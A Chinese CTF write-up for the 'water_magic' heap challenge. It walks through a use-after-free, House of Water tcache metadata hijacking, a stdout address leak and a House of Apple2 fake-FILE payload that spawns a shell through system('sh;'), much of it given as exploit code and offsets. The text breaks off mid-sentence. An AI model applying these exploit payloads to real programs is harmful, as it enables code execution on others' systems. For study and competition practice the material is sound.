water_magic

方班杯2026water_magic.png

这题没给show和edit功能,malloc_chunk函数限制size<= 0x888,ptr数组可以存256个chunk,可以看到这里对我们chunk的数量和size都是比较宽松的,而且允许我们通过offest写入,也就是我们能精准控制从chunk的user_data哪个位置写入

还给了一个gift函数:

int gift()
{
  int flag; // eax

  flag = ::flag;
  if ( ::flag )
    return printf("gift: %ld\n", (unsigned __int16)_bss_start & 0xF000);
  return flag;
}

这里是泄露_bss_start里面存的地址的低16位里的高nibble部分,也就是页位置

.bss:0000000000004020 ; FILE *_bss_start
.bss:0000000000004020 __bss_start     dq ?                    ; DATA XREF: init+26↑r
.bss:0000000000004020                                         ; gift+16↑r ...
.bss:0000000000004020                                         ; Alternative name is 'stdout'
.bss:0000000000004020                                         ; stdout@GLIBC_2.2.5
.bss:0000000000004020                                         ; Copy of shared data
.bss:0000000000004028                 align 10h

这里我们可以看到_bss_start 实际就是stdout这个全局变量的副本,也就是这里能直接让我们获得stdout的低16位,后面我们就可以部分覆盖一个libc地址为stdout的地址

unsigned __int64 free_chunk()
{
  int num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx: ");
  __isoc99_scanf("%d", &num);
  while ( getchar() != 10 )
    ;
  if ( num < ::num && num >= 0 )
  {
    free((void *)ptr[num]);
    puts("freed!");
  }
  else
  {
    puts("error");
  }
  return v2 - __readfsqword(0x28u);
}

free_chunk函数里有UAF漏洞

这题最大的难点是没有show泄露地址,且没有edit,我们无法直接利用UAF改已经free的chunk的内容,这里用到的方法是house of water,先简单看看house of water的原理(以下是house of water的原版,还有其他的变体,原理有点不同):

House of Water 的核心目标:

利用 UAF / double free / heap overflow 等堆漏洞,把堆开头的 tcache_perthread_struct 伪造成一个合法的 bin chunk,然后让 malloc 把这个假 chunk 返回给我们,从而获得对 tcache 元数据的控制。

可以理解为一种特殊的tcache poisoning,

普通 tcache poisoning 是:

控制某个 tcache chunk 的 next
↓
让 malloc 返回任意地址

House of Water 是:

控制 bin 链表
↓
把 tcache_perthread_struct 当作一个 fake chunk 链进去
↓
malloc 返回 tcache_perthread_struct 附近
↓
直接改 tcache 的 counts / entries
↓
后续 malloc 返回任意地址

普通的tcache poisoning受限于next指针的加密保护,如果我们能操作的空间受限(例如这题不能show和edit),我们很难通过这个保护,那为什么house of water就能绕过这个保护呢?

什么是 tcache_perthread_struct?

glibc的 tcache 不是存在 libc里面,而是存在heap上。第一次 malloc 的时候,glibc会在堆开头分配一块区域,用来保存当前线程的 tcache 元数据。很多情况下它大概是一个 0x290 大小的 chunk。

它的结构大致是:

typedef struct tcache_perthread_struct
{
    uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

也就是:

tcache_perthread_struct
├── counts[64]   // 每个 tcache bin 当前有几个 chunk
└── entries[64]  // 每个 tcache bin 的链表头指针

我们平时看到的:

tcachebins
0x20 [ 3]: 0x5555555592a0 -> 0x555555559280 -> ...
0x30 [ 1]: 0x555555559300

底层本质上就是:

counts[idx] = 3
entries[idx] = 0x5555555592a0

其中 entries[idx] 存的是当前 size class 的 tcache 链表头。

关键的是:tcache_perthread_struct->entries[] 里的指针本身不受 safe-linking 保护。 safe-linking保护的是 tcache / fastbin chunk 内部的 next 指针,而不是 tcache_perthread_struct 里的 entries 数组。也就是说,一旦我们能写 entries[idx],我们就能直接地控制后续 malloc(size) 返回哪里。

举例来说:

tcache_perthread_struct
+0x000: counts[0]
+0x002: counts[1]
...
+0x080: entries[0]   // 0x20 bin
+0x088: entries[1]   // 0x30 bin
+0x090: entries[2]   // 0x40 bin
...

我们伪造:

counts[0x40_bin] = 1
entries[0x40_bin] = target_addr

然后:

malloc(0x38);

glibc就会认为:

0x40 tcache bin 里面有一个 chunk
链表头是 target_addr

于是它会返回 target_addr 这个chunk。

House of Water的核心是它发现 tcache_perthread_struct 的某些字节组合,看起来像一个合法的malloc

chunk header。

如果一个chunk 在 unsorted bin / small bin 里,它的结构大概是:

free chunk:
+0x00 prev_size
+0x08 size
+0x10 fd
+0x18 bk

tcache_perthread_struct 的布局是:

counts[64]  // uint16_t
entries[64] // pointer

由于 counts 是 2 字节一个,某些 tcache bin 的 count 被设置成 1 后,内存里可能出现类似:

0x0000000000010001

这东西放在 chunk 的 size 字段里,就很像:

size = 0x10001

其中:

0x10000 是 chunk 大小
0x1 是 PREV_INUSE bit

也就是一个合法 size:

fake chunk size = 0x10000 | PREV_INUSE

整体流程:

原版大概可以理解成 6 个阶段。

阶段 1:准备 tcache metadata 里的fake size

目标是在 tcache_perthread_struct 内部构造:

fake_chunk:
+0x00 prev_size
+0x08 size = 0x10001
+0x10 fd
+0x18 bk

其中最关键的是 size = 0x10001

这个 0x10001 是利用 tcache 的 counts[] 构造出来的。

0x0000000000010001 作为 8 字节内存,在 x86_64 小端里实际长这样:

01 00 01 00 00 00 00 00

counts[] 每个元素是 uint16_t,也就是 2 字节,所以可以拆成 4 个连续的 count:

01 00 | 01 00 | 00 00 | 00 00

也就是:

counts[i]     = 1;
counts[i + 1] = 1;
counts[i + 2] = 0;
counts[i + 3] = 0;

这样我们就能在 tcache_perthread_struct附近构造出0x10001这个size值了

阶段 2:准备 fake chunk 的 fd / bk

既然要让fake chunk 进入unsorted bin,那么它必须满足双向链表一致性。

如果我们想把 fake chunk 插到:

start <-> middle <-> end

中间,替换掉 middle,那么我们希望最终变成:

start <-> fake <-> end

那么 fake chunk 必须有:

fake->fd = end
fake->bk = start

同时:

start->fd = fake
end->bk = fake

这样 unlink 检查才能通过:

fake->fd->bk == fake
fake->bk->fd == fake

阶段 3:构造fake chunk的fd/bk

这里是House of Water的难点。

fake chunk 位于 tcache_perthread_struct 里面。

它的 fd / bk 位置,刚好落在 entries[] 附近。

也就是说:

fake->fd ≈ tcache_perthread_struct->entries[0]
fake->bk ≈ tcache_perthread_struct->entries[1]

所以我们不是直接写 fake->fd / fake->bk,而是想办法让 tcache entries 自己变成我们想要的值,这里需要结合具体题目操作。

这里要注意的一点是tcache 和 unsorted bin 对chunk指针的理解不一样。

tcache 里存的是 user pointer

如果:

p = malloc(0x20);
free(p);

tcache entry 存的是:

p

也就是user_data区的地址。

unsorted / small bin 里链的是 chunk header

但是 unsorted bin / small bin 的 fd/bk 指向的是 chunk header:

p - 0x10

所以 House of Water 里有一个经典麻烦:

tcache entries 想自然写入的是 user pointer
unsorted fake chunk 需要的是 chunk header pointer

所以有些题要写:

free(start - 0x10);
free(end - 0x10);

因为我们想让 tcache entry 里保存的地址,刚好等于 unsorted chunk 的 header 地址。

阶段 4:准备真实 unsorted bin 链

我们准备三个正常 chunk:

start
guard
middle
guard
end
guard

guard 的作用是防止相邻 free chunk 合并。

这里常用把tcache bin填满然后放进unsortedbin的技巧

最终形成:

unsorted bin:
start <-> middle <-> end

阶段 5:部分覆盖 start->fd 和 end->bk

现在我们有:

start <-> middle <-> end

也就是:

start->fd = middle
middle->bk = start

middle->fd = end
end->bk = middle

我们的目标是把 middle 替换成 fake:

start <-> fake <-> end

所以需要改:

start->fd = fake
end->bk = fake

这里经典的方法是利用partial overwrite(因为我们是基本都是在无法泄露地址的情况下用house of water的)。

也就是我们要4bit爆破页位置,1/16这个概率是可以接受的。

阶段 6:让 malloc 返回 fake chunk

现在链表逻辑变成:

unsorted bin:
start <-> fake <-> end

而 fake chunk 的结构是:

fake:
+0x00 prev_size     #这个一般不用特意去伪造
+0x08 size = 0x10001
+0x10 fd = end
+0x18 bk = start

同时还要在:

fake + 0x10000

伪造下一个 chunk 的 metadata,例如:

prev_size = 0x10000
size      = 合法 size,且 PREV_INUSE 清掉

这是为能正常通过glibc检查:

检查通过后,malloc 处理unsorted bin时就能把 fake chunk 返回给我们。

返回的是:

fake + 0x10

而 fake 位于 tcache_perthread_struct 内部,所以拿到的是:

tcache_perthread_struct 附近的可写指针

到这里,House of Water 就成功了:

UAF / double free / partial overwrite
↓
malloc 返回 tcache_perthread_struct
↓
控制 tcache metadata

能控制tcacge metadata就可以做类似tcache poisoning的操作了,后面就很常规了。

我们看这题我们是怎么通过复杂的堆风水来实现house of water:

for i in range(0,7):
    add(0x88)
for i in range(7,14):
    add(0x1A8)
add(0x3D8) #14
add(0x3E8) #15

此时堆情况:

方班杯2026water_magic (1).png

我们此时可以在gdb中看到:

方班杯2026water_magic (3).png

方班杯2026water_magic (2).png

当我们malloc chunk后,tcache_perthread_struct也malloc到同一页,size也是常规的0x290

delete(14)
delete(15)

这一步就是我们前面提到的利用counts制造size,这里0x3e0和0x3f0对应的就是+0x088的位置

方班杯2026water_magic (6).png

add(0x18,b'guard1\n') #16
for i in range(17,21):
    add(0x88)
add(0x18,b'guard2\n') #21
for i in range(22,26):
    add(0x88)
add(0x18,b'guard3\n') #26

继续malloc

此时堆布局是:

方班杯2026water_magic (7).png

然后

for i in range(0,7):
    delete(i)

填满0x90的tcache

delete(17)
delete(18)
delete(19)
delete(22)
delete(23)
delete(24)

由于0x90的tcache被填满了,这些chunk会被放入unsortedbin

chunk17、18、19是相邻的,所以会进行合并,chunk22、23、24同理,此时堆布局是:

方班杯2026water_magic (8).png

add(0x1A8, b"2" * 0x118 + p64(0x31) + b"\n")  # 27 控chunk24
add(0x1A8, b"1" * 0x118 + p64(0x21) + b"\n")  # 28 控chunk19

这里malloc的是0x1b0大小的,也就是刚好三个0x90,所以会把unsortedbin里合并的两个chunk取出来,这里我们就能通过malloc时的写入修改chunk24的size的位置为0x31,同理,把chunk19的size改成0x21

此时堆布局:

方班杯2026water_magic (9).png

这里菱形起虚线的作用,代表这两个chunk已经从unsortedbin里malloc出去了(这里chunk14和chunk15还在tcache里,图上没标)

delete(19)
delete(24)

由于我们前面把chunk19的size改成0x21,chunk24的size改为0x31,而我们又有UAF,所以我们就能进行double free,这里chunk19又会进入0x20的tcache,chunk24会进入0x31的tcache

方班杯2026water_magic (11).png

这里利用entries[]会指向tcache的头chunk的机制把+0x90和+0x98的位置设置成堆地址了(解决了house of water里最难的一步,设置fake chunk的fd和bk),这也是为什么我们前面选择0x3e0和0x3f0,因为这两个size能把0x10001放在counts和entries的边界,

我们前面提到了,tcache里存的是chunk的user_data区地址,也就是chunk的地址+0x10,后面我们只要在unsortedbin里放置chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,我们就基本完成了一次house of water的条件

然后我们再重复一遍(这次进的是0x1b0的tcache,不是unsortedbin了,不过效果一样)

delete(27)
delete(28)

add(0x1A8, b"a" * 0x88 + p64(0xE1) + b"\n")   # 29 原28 控chunk18
add(0x1A8, b"b" * 0x88 + p64(0xF1) + b"\n")   # 30 原27 控chunk23

不过这次是控制好距离把chunk18的size改成0xe0,把chunk23的size改为0xf0

for i in range(7,14):
    delete(i)

这里把0x1b0的tcache填满

delete(18)
delete(23)

改为size后进行double free,此时堆布局是:

方班杯2026water_magic (12).png

delete(29) #chunk28
delete(20)

这里把chunk28和chunk20一起放入unsortedbin,chunk28是由chunk17、18、19合并的,自然与chunk20相邻,也会触发合并成一个size为0x240的chunk

add(0x38)#31 chunk17
add(0x48)#32
add(0x38)#33 chunk18 + chunk19_header
add(0x58)#34
add(0x108)#35 (chunk19+0x10) + chunk 20

然后把这个0x240的大块切分成这几个小块,刚好把0x240分完,这里分配的大小也是计算过的,chunk31和chunk32刚好就是原来的整个chunk17,chunk33和chunk34是整个chunk18加上chunk19的前0x10,chuunk35的开头是chunk19的地址+0x10,因为我们前面提到过我们要的是chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,后面我们直接delete(35)就是chunk19+0x10了

对chunk27也进行同样的操作

delete(30) #chunk27
delete(25)

add(0x38)#36 chunk22
add(0x48)#37
add(0x38)#38 chunk23 + chunk24_header
add(0x58)#39
add(0x108)#40 (chunk24+0x10) + chunk25

此时的堆布局:

方班杯2026water_magic (13).png

add(0x108)#41

for i in range(42,49):
    add(0x108)
for i in range(42,49):
    delete(i)

再malloc一个0x110的chunk,然后把0x110的tcache填满

for i in range(49,85):
    add(0x5f8)

然后申请多个0x600的大chunk,是为了准备写我们house of water的fake chunk的next chunk的pre_size为0x10000且size为有效值,因为我们的开头在+0x80,所以我们要malloc很大位置才能到0x10080,此时堆布局为:

方班杯2026water_magic (14).png

add(0x5F8, b"A" * 0xF0 + p64(0x10000) + p64(0x20) + b"\n")  # 85

这一步就是正式写入0x10000的pre_size和0x20的有效szie,效果如下:

方班杯2026water_magic (15).png

然后就是构造最后一步start <-> fake <-> end我们的house of water就成型了

delete(35)#chunk19+0x10
delete(41)
delete(40)#chunk24+0x10

先放三个chunk进unsortedbin里,我们的目标是chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,所以我们先delete(35),最后delete(40)

add(0xD8, p16(0x6080) + b"\n", 1, 0xA8)   # 86 原chunk18 控chunk35的bk
add(0xE8, p16(0x6080) + b"\n", 1, 0xA0)   # 87 原chunk23 控chunk40的fd

malloc(0xd8)就是申请出0xe0 tcache里的chunk18,chunk18和chunk19最开始申请的时候size都是0x90,所以chunk19实际地址在chunk18+0x90,跳过0x10的chunk19的header和0x8的fd,然后改bk的最后两字节,,就把bk改成了我们的fake chunk了,改chunk40的fd同理

此时我们完成了伪造,unsortedbin里凭空出现了一个size为0x10000的chunk,它的地址为+0x080

那我们后面malloc就能成功控制 tcache_perthread_struct里的entries[]数组了

add(0x248, p16(0x6010) + b"\n", 1, 0x1E0) # 88 从我们伪造的0x10000的chunk切下

我们的目的是覆盖一个libc地址的低两字节为stdout,但是我们可以发现libc地址存在+0x080前面,所以这里我们先把0x3e0的tcache的entries指向+0x010,把我们能控制的地方前移

这个代表从我们伪造的+0x80开始切下来一块0x250大小的chunk,这里我们的

方班杯2026water_magic (16).png

这里我们看到实际上我们就是把0x5555893fb270里面存的0x5555893fc260的低两字节改成0xc010(这次的页偏移是c)

这里我们是部分覆盖的,我们只能确定0x080这个固定的页内偏移,但是0x6080这个6代表的页偏移是我们不能确定,所以这里我们是把我们上面的步骤封装成一个函数,然后循环爆破,如果6这个页偏移错误的话我们会在add(0x248, p16(0x6010) + b"\n", 1, 0x1E0)这个从unsortedbin解链的时候报错,1/16这个概率是可以接受的

成功的效果是这样的:

方班杯2026water_magic (17).png

方班杯2026water_magic (18).png

我们可以看到0x3e0这个tcache的entries指针已经指向了 tcache_perthread_struct的开头+0x010的位置了

add2(0x3D8, p64(0x10001) + p64(0) * 0x10 + p16(stdout_low) + b"\n")  # 89 原chunk14 ,修改了chunk88的bk

这里我们再malloc(0x3d8),实际上就是从 tcache_perthread_struct的开头看作一个chunk,它的user_data地址是 tcache_perthread_struct的开头+0x010,我们就能任意写入 tcache_perthread_struct的每个位置了,我们找一个tcache的entries指针原本就指向libc地址的位置,然后覆盖低两字节

方班杯2026water_magic (19).png

我们看到,这里就成功把0x30的tcache的entries指针改成了指向stdout了,这里我们保持0x10001是为了让0x20和0x30的counts为正常的1,方便我们后面从0x30的tcache取chunk能正常

add2(0x28, p64(0xFBAD1800) + p64(0) * 3 + b"\x00\n")   

然后我们申请0x30的chunk实际上就把stdout申请出来了,我们就能修改stdout了,我们就可以修改write_base的低一字节为0,让write_base<write_ptr,它就会打印出来这部分地址的内容,里面有libc地址了,这部分的原理可以看简单的pwn - Zenquietus里面有提到,重点理解的就是:

_IO_write_base : 写缓冲区的起点
_IO_write_ptr : 当前已经写到哪里,也就是“已填充数据”的末尾
_IO_write_end : 写缓冲区的终点

有了libc地址后我们还要泄露heap地址才能打最后的house of apple2

delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(libc.sym["_IO_2_1_stdout_"]) + b"\n") # 91

这里chunk89就是前面我们提到 tcache_perthread_struct的chunk,这个chunk的size我们前面也提到了是0x290这个通常的大小,我们把这个delete,就会进入0x290的tcache里,我们再malloc 出来就能再次修改 tcache_perthread_struct了,这里0x100010001还是为了保证counts的正常,由于我们已经有libc地址了,所以这里我们能直接完全覆盖一个地址为stdout的地址,所以这里选择哪个tcache的entries比较自由,我们选择把0x40的tcache覆盖了

方班杯2026water_magic (20).png

add2(
    0x38,
    p64(0xFBAD1800)
    + p64(0) * 3
    + p64(libc.address + 0x203b20)
    + p64(libc.address + 0x203b20 + 0x20)
    + p64(libc.address + 0x203b20 + 0x20)
)  # 92

然后这里就是再次对stdout进行修改,不过这次我们要把它的wrtie_base移到一个有堆地址的libc的位置上,这里我选的是unsortedbin的表头,选其他的也可以。

最后就是打house of apple2了,我们要先把我们伪造的fake FILE放在堆里

add2(0x600, payload + b"\n")  # 93

先讲讲house of apple2的原理再看payload的写法:

House of Apple2 = 伪造 _IO_FILE_wide_data,让 glibc 在执行合法 IO vtable 函数时,进入 wide-char 相关逻辑,最后通过 _wide_data->_wide_vtable->__doallocate(fp) 间接调用我们控制的函数。

经典调用链大概是:

exit()
  -> _IO_cleanup()
  -> _IO_flush_all_lockp()
  -> _IO_OVERFLOW(fp, EOF)
  -> _IO_wfile_overflow(fp, EOF)
  -> _IO_wdoallocbuf(fp)
  -> _IO_WDOALLOCATE(fp)
  -> fp->_wide_data->_wide_vtable->__doallocate(fp)

其中真正关键的最后一步是:

call [fp->_wide_data->_wide_vtable + offset]

如果我们能控制:

fp->_wide_data
fp->_wide_data->_wide_vtable
fp->_wide_data->_wide_vtable->__doallocate

就能让程序跳到想要的函数。

从glibc 2.24开始,glibc 对 _IO_FILE_plus 的 vtable 做了检查。 vtable 不能随便指向堆地址或栈地址,它必须落在 glibc 的合法 __libc_IO_vtables 区域附近,否则会触发 _IO_vtable_check 然后 abort。

于是 House of Apple2 的思路是:

不直接伪造主 vtable 到堆上,而是让主 vtable 指向 glibc 内部合法的 _IO_wfile_jumps

也就是说:

fp->vtable = &_IO_wfile_jumps;

这个地址在 libc 的合法 IO vtable 区域里,因此能通过 vtable check。

然后利用 _IO_wfile_jumps 里的函数进入 wide-char 处理流程,在 wide-char 逻辑中使用:

fp->_wide_data->_wide_vtable

这个二级 vtable。

glibc 检查的是 _IO_FILE_plus 的主 vtable,不会同等严格检查 _wide_data->_wide_vtable

这就是 Apple2 的突破点。

_IO_FILE:

stdoutstdinstderr 本质上都是 glibc 里的 _IO_FILE_plus 对象。

简化后可以理解成:

struct _IO_FILE {
    int _flags;

    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;

    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;

    char *_IO_buf_base;
    char *_IO_buf_end;

    // ...

    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;

    int _fileno;
    int _flags2;

    // ...

    struct _IO_wide_data *_wide_data;

    // ...

    int _mode;
};

真正的 stdout 类型更准确是:

struct _IO_FILE_plus {
    struct _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

也就是说,内存布局大概是:

_IO_FILE_plus
+-------------------------+
| struct _IO_FILE file    |
|   _flags                |
|   read/write pointers   |
|   _chain                |
|   _fileno               |
|   _wide_data ---------- | ----+
|   _mode                 |     |
+-------------------------+     |
| vtable ---------------- | --> _IO_file_jumps / _IO_wfile_jumps
+-------------------------+     |
                                |
                                v
                         struct _IO_

IO_jump_t:

主 vtable 是 _IO_jump_t 类型,大概像这样:

struct _IO_jump_t {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);

    // ...
};

很多宏本质上就是取 vtable 里的函数指针调用。

例如:

_IO_OVERFLOW(fp, EOF)

大概等价于:

fp->vtable->__overflow(fp, EOF);

如果:

fp->vtable = _IO_wfile_jumps;

那么:

_IO_OVERFLOW(fp, EOF)

就会调用:

_IO_wfile_overflow(fp, EOF)

这就是 House of Apple2 常见入口。

_IO_wide_data:

_wide_data 是 wide-character IO 相关结构。也就是宽字符流,比如处理 wchar_t、宽字符输入输出时使用。

它里面也有一套缓冲区指针和一个重要字段:

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;

    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;

    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;

    // ...

    const struct _IO_jump_t *_wide_vtable;
};

Apple2 的核心就是这个:

fp->_wide_data->_wide_vtable

主 vtable 是:

fp->vtable

而 wide vtable 是:

fp->_wide_data->_wide_vtable

House of Apple2 就是借助 wide-char 流程,把控制点从受检查的主 vtable,转移到相对更容易伪造的 _wide_vtable

触发点:exit()

很多Apple2链条都是靠 exit() 触发。

程序退出时,glibc 会清理所有打开的 FILE 流,核心逻辑大概是:

exit()
  -> _IO_cleanup()
  -> _IO_flush_all_lockp()

_IO_flush_all_lockp() 会遍历 _IO_list_all 链表上的 FILE 结构。

可以粗略理解成:

for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {
    if (需要刷新 fp) {
        _IO_OVERFLOW(fp, EOF);
    }
}

所以如果我们能让 _IO_list_all 指向伪造的 FILE,或者把已有的 stdout / stderr 改造成满足条件的 fake FILE,就能在程序退出时触发:

_IO_OVERFLOW(fp, EOF)

_IO_OVERFLOW 会走 vtable:

fp->vtable->__overflow(fp, EOF)

如果 vtable 被设置成:

_IO_wfile_jumps

那么调用的就是:

_IO_wfile_overflow(fp, EOF)

这就是 Apple2 最经典的入口链。

_IO_flush_all_lockp() 为什么会调用 overflow?

它不是对所有 FILE 都调用,需要满足刷新条件。

常见判断逻辑可以简化成:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (_IO_vtable_offset(fp) == 0
         && fp->_mode > 0
         && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
    && _IO_OVERFLOW(fp, EOF) == EOF)
{
    result = EOF;
}

这里有两个分支:

分支一:普通字节流分支:

fp->_mode <= 0
&& fp->_IO_write_ptr > fp->_IO_write_base

这个是普通 char 流。

例如 stdout 普通输出时,write_ptr > write_base 表示缓冲区里有东西没刷新。

分支二:宽字符流分支:

fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

这个是 wide-char 流。

House of Apple2 通常让:

fp->_mode > 0

并伪造:

fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

这样 _IO_flush_all_lockp() 就认为:

这个 wide FILE 有数据需要 flush。

于是它调用:

_IO_OVERFLOW(fp, EOF)

又因为:

fp->vtable = _IO_wfile_jumps

所以进入:

_IO_wfile_overflow(fp, EOF)

_IO_wfile_overflow() 里具体进行了什么操作:

_IO_wfile_overflow(fp, EOF) 是 wide FILE 的 overflow 处理函数。

里面有一条非常关键的逻辑:

if (fp->_wide_data->_IO_buf_base == NULL) {
    _IO_wdoallocbuf(fp);
}

也就是:

如果 wide buffer 还没有分配,那就调用 _IO_wdoallocbuf(fp) 去分配 wide buffer。

所以 Apple2 会故意设置:

fp->_wide_data->_IO_buf_base = 0;

逼它进入:

_IO_wdoallocbuf(fp)

_IO_wdoallocbuf()

_IO_wdoallocbuf(fp) 里面会调用一个宏:

_IO_WDOALLOCATE(fp)

这个宏本质上会走:

fp->_wide_data->_wide_vtable->__doallocate(fp)

也就是说,它会从 _wide_data 里取 _wide_vtable,然后调用里面的 __doallocate 函数指针。

这就是 House of Apple2 的核心利用点。

简化后:

void _IO_wdoallocbuf(FILE *fp) {
    if (fp->_wide_data->_IO_buf_base)
        return;

    if (!(fp->_flags & _IO_UNBUFFERED)) {
        if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
            return;
    }

    // ...
}

而:

_IO_WDOALLOCATE(fp)

可以理解为:

fp->_wide_data->_wide_vtable->__doallocate(fp)

所以只要我们伪造:

fp->_wide_data = fake_wide_data;
fake_wide_data->_wide_vtable = fake_wide_vtable;
fake_wide_vtable->__doallocate = system;

最终就会变成:

system(fp);

注意,这时候传给 system 的第一个参数是:

fp

也就是 FILE 结构本身的地址。

所以为了让它执行:

system("/bin/sh")

常见做法是让 fake FILE 开头就是字符串:

"/bin/sh\x00"

因为函数调用时:

rdi = fp

如果 fp 指向的内存开头是:

/bin/sh\x00

那么:

system(fp)

就等价于:

system("/bin/sh")

最经典的伪造布局:

假设我们能控制一块堆内存,放 fake FILE、fake wide_data、fake wide_vtable。

可以设计成:

fake_file_addr:
+0x000: "/bin/sh\x00"
+0x008: ...
        fake _IO_FILE fields
        ...
+offset(_wide_data): fake_wide_data_addr
+offset(_mode):      1
+sizeof(FILE):       _IO_wfile_jumps

fake_wide_data_addr:
+offset(_IO_write_base): 0
+offset(_IO_write_ptr):  1
+offset(_IO_buf_base):   0
+offset(_wide_vtable):   fake_wide_vtable_addr

fake_wide_vtable_addr:
+offset(__doallocate): system

触发时:

exit()
 -> _IO_flush_all_lockp()
    -> 判断 fake_file 需要 flush
    -> _IO_OVERFLOW(fake_file, EOF)
       -> fake_file->vtable->__overflow(fake_file, EOF)
       -> _IO_wfile_overflow(fake_file, EOF)
          -> fake_file->_wide_data->_IO_buf_base == 0
          -> _IO_wdoallocbuf(fake_file)
             -> fake_file->_wide_data->_wide_vtable->__doallocate(fake_file)
             -> system(fake_file)
             -> system("/bin/sh")

fake FILE 的关键字段

_flags

通常开头可以放:

_flags = 0x68732f6e69622f

这个就是:

/bin/sh\x00

小端解释。

因为 system(fp) 时,fp 会作为 char * 使用。

也可以写成:

fake_file = b"/bin/sh\x00"

_wide_data

必须指向伪造的 wide_data:

fp->_wide_data = fake_wide_data;

这是 Apple2 的核心控制对象。

_mode

通常要设置成大于 0:

fp->_mode = 1;

这样 _IO_flush_all_lockp() 会走 wide 分支:

fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

vtable

设置成合法 libc 地址:

fp->vtable = _IO_wfile_jumps;

注意不是 fake vtable。

这是为了绕过主 vtable check。

_IO_wfile_jumps 是 libc 里的合法跳转表,专门用于 wide-character FILE。

fake wide_data 的关键字段

_IO_write_base

设置小一点:

fake_wide_data->_IO_write_base = 0;

_IO_write_ptr

设置大一点:

fake_wide_data->_IO_write_ptr = 1;

目的是满足:

_IO_write_ptr > _IO_write_base

_IO_buf_base

设置为 0:

fake_wide_data->_IO_buf_base = 0;

目的是让 _IO_wfile_overflow() 进入:

_IO_wdoallocbuf(fp)

_wide_vtable

指向 fake wide vtable:

fake_wide_data->_wide_vtable = fake_wide_vtable;

fake wide_vtable 的关键字段

关键是 __doallocate 对应的函数指针。

fake_wide_vtable->__doallocate = system;

实际 payload 里不是写结构体名,而是根据 offset 写:

payload = flat({
    doallocate_offset: system_addr
})

很多 glibc 版本里,__doallocate 在jump table中的offset常见是 0x68,但这个值具体要看版本。

常见 payload 伪代码:

fake_file = heap_addr
fake_wide_data = heap_addr + 0x200
fake_wide_vtable = heap_addr + 0x300

payload_file = flat({
    0x00: b"/bin/sh\x00",

    # 让 _IO_flush_all_lockp 认为这个 FILE 需要 flush
    offset_wide_data: fake_wide_data,
    offset_mode: 1,

    # FILE 结构末尾的主 vtable
    offset_vtable: libc.sym["_IO_wfile_jumps"],
})

payload_wide_data = flat({
    offset_wide_write_base: 0,
    offset_wide_write_ptr: 1,
    offset_wide_buf_base: 0,
    offset_wide_vtable: fake_wide_vtable,
})

payload_wide_vtable = flat({
    offset_doallocate: libc.sym["system"],
})

然后你需要让:

_IO_list_all = fake_file

或者覆盖已有的:

stdout / stderr

最后触发:

exit()

我们具体来看这个payload是怎么写的

fake_file        = heap_base + 0x2E0
fake_wide_data   = fake_file + 0x100
fake_wide_vtable = fake_file + 0x220

payload = b""
fake_file_payload = b"  sh;".ljust(0x8, b"\x00")   # fake_file 开头,最后作为 system(fake_file) 的参数
fake_file_payload += p64(0) * 3                    # _IO_read_ptr / _IO_read_end / _IO_read_base
fake_file_payload += p64(1)                        # _IO_write_base = 1
fake_file_payload += p64(2)                        # _IO_write_ptr  = 2
fake_file_payload = fake_file_payload.ljust(0x30, b"\x00")# _IO_write_end = 0 
fake_file_payload += p64(0)               
fake_file_payload = fake_file_payload.ljust(0x88, b"\x00")
fake_file_payload += p64(libc.address + 0x205710)           # _lock,要填一个合法地址通过检查
fake_file_payload = fake_file_payload.ljust(0xA0, b"\x00")
fake_file_payload += p64(fake_wide_data)                    # _wide_data = fake_wide_data
fake_file_payload = fake_file_payload.ljust(0xD8, b"\x00")  # _mode 默认保持 0
fake_file_payload += p64(libc.sym["_IO_wfile_jumps"])       # vtable = _IO_wfile_jumps


fake_wide_data_payload = b""
fake_wide_data_payload = fake_wide_data_payload.ljust(0xE0, b"\x00") # fake_wide_data->_IO_buf_base = 0,进入 _IO_wdoallocbuf
fake_wide_data_payload += p64(fake_wide_vtable)                      # fake_wide_data->_wide_vtable = fake_wide_vtable



fake_wide_vtable_payload = b""
fake_wide_vtable_payload = fake_wide_vtable_payload.ljust(0x68, b"\x00") #常见偏移是0x68
fake_wide_vtable_payload += p64(system_addr)                             # fake_wide_vtable->__doallocate = system


payload = b""
payload += fake_file_payload
payload = payload.ljust(fake_wide_data - fake_file, b"\x00")
payload += fake_wide_data_payload
payload = payload.ljust(fake_wide_vtable - fake_file, b"\x00")
payload += fake_wide_vtable_payload

我们这个payload是按前面的标准的payload写的,对照着理解就行了,需要注意的就是

开头是参数fp,我们放 sh;,这里实测/bin/sh不行,会造成污染,这里选择更短的 sh;

这里mode被我们填充为了0,虽然我们前面说的常见的mode是填充为>0,但是在实际解题中为了通过其他的检查常常会设置成0,但是没关系,因为真正进入 wide 逻辑靠的是:

vtable = _IO_wfile_jumps

也就是说:

